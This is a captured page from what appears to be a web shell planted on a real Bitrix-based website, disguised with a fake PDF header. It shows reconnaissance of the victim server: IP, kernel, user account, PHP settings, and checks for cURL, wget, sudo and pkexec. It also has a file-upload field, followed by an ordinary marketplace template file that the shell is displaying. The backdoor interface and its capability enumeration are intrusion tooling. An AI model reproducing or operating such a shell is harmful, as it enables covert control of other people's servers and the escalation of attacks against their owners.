%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.142.173.89 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/rest.marketplace.booklet/templates/.default/ |
Upload File : |
<?php if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true) { die(); } /** @var array $arParams */ /** @var array $arResult */ /** @global CAllMain $APPLICATION */ /** @global CAllUser $USER */ /** @global CAllDatabase $DB */ /** @var CBitrixComponentTemplate $this */ /** @var string $templateName */ /** @var string $templateFile */ /** @var string $templateFolder */ /** @var string $componentPath */ /** @var CBitrixComponent $component */ use Bitrix\Main\Localization\Loc; use Bitrix\Main\UI\Extension; use Bitrix\Main\Web\Json; Loc::loadMessages(__FILE__); global $APPLICATION; if ($arResult['TITLE']) { $APPLICATION->SetTitle($arResult['TITLE']); } $bodyClass = $APPLICATION->getPageProperty('BodyClass', false); $bodyClasses = 'no-hidden no-background no-all-paddings no-margin-toolbar'; $APPLICATION->setPageProperty('BodyClass', trim(sprintf('%s %s', $bodyClass, $bodyClasses))); Extension::load( [ 'ui.tilegrid', 'ui.buttons', 'ui.sidepanel-content', 'rest.integration', ] ); if (!empty($arResult['ITEMS'])): ?> <div class="rest-market-section"> <? if ($arResult['ACTION_TITLE']): ?> <div class="rest-market-grid-title rest-market-grid-title-border"><?=$arResult['ACTION_TITLE']?></div> <? endif; ?> <div class="rest-market-grid" id="<?=$arResult['CONTAINER_ID']?>"></div> </div> <script> var gridSite = new BX.TileGrid.Grid({ id: 'grid_site', container: document.getElementById('<?=$arResult['CONTAINER_ID']?>'), itemHeight: 160, itemMinWidth: 270, itemType: 'BX.Rest.MarketSite.TileGrid.Item', items: <?=Json::encode($arResult['ITEMS']);?> }); gridSite.draw(); </script> <?php endif; ?> <?php if ($arResult['DESCRIPTION']):?> <div class="ui-slider-section"> <div class="ui-slider-content-box"> <div class="ui-slider-heading-4"><?=$arResult['DESCRIPTION_TITLE']?></div> <p class="ui-slider-paragraph-2"><?=$arResult['DESCRIPTION']?></p> </div> </div> <?php endif; ?> <?php if (!empty($arResult['APP_TAG_BANNER'])): ?> <?php $reee = $APPLICATION->IncludeComponent( 'bitrix:rest.marketplace.category', 'banner', array( 'TAG' => $arResult['APP_TAG_BANNER'], 'FILTER_ID' => '_banner_' . $arResult['CONTAINER_ID'], 'BLOCK_COUNT' => $arResult['APP_BANNER_COUNT'], 'SET_TITLE' => 'N', 'HOLD_BANNER_ITEMS' => 'Y', 'DETAIL_URL_TPL' => $arResult['MP_DETAIL_URL_TPL'], 'MP_TAG_PATH' => $arResult['MP_TAG_PATH'] ), $component ) ?> <?php endif; ?> <?php if (!empty($arResult['APP_TAG'])): ?> <?php $APPLICATION->IncludeComponent( 'bitrix:rest.marketplace.category', 'list', array( 'TAG' => $arResult['APP_TAG'], 'FILTER_ID' => '_list_' . $arResult['CONTAINER_ID'], 'SHOW_LAST_BLOCK' => 'Y', 'BLOCK_COUNT' => $arResult['APP_COUNT'], 'SET_TITLE' => 'N', 'DETAIL_URL_TPL' => $arResult['MP_DETAIL_URL_TPL'], 'INDEX_URL_PATH' => $arResult['MP_INDEX_PATH'], 'SECTION_URL_PATH' => $arResult['MP_TAG_PATH'], 'SECTION_TITLE' => Loc::getMessage("REST_MARKETPLACE_BOOKLET_TITLE_NEW_APP"), 'SECTION_SHOW_ALL_BTN_NAME' => Loc::getMessage("REST_MARKETPLACE_BOOKLET_BTN_SHOW_ALL"), ), $component ) ?> <?php endif;?>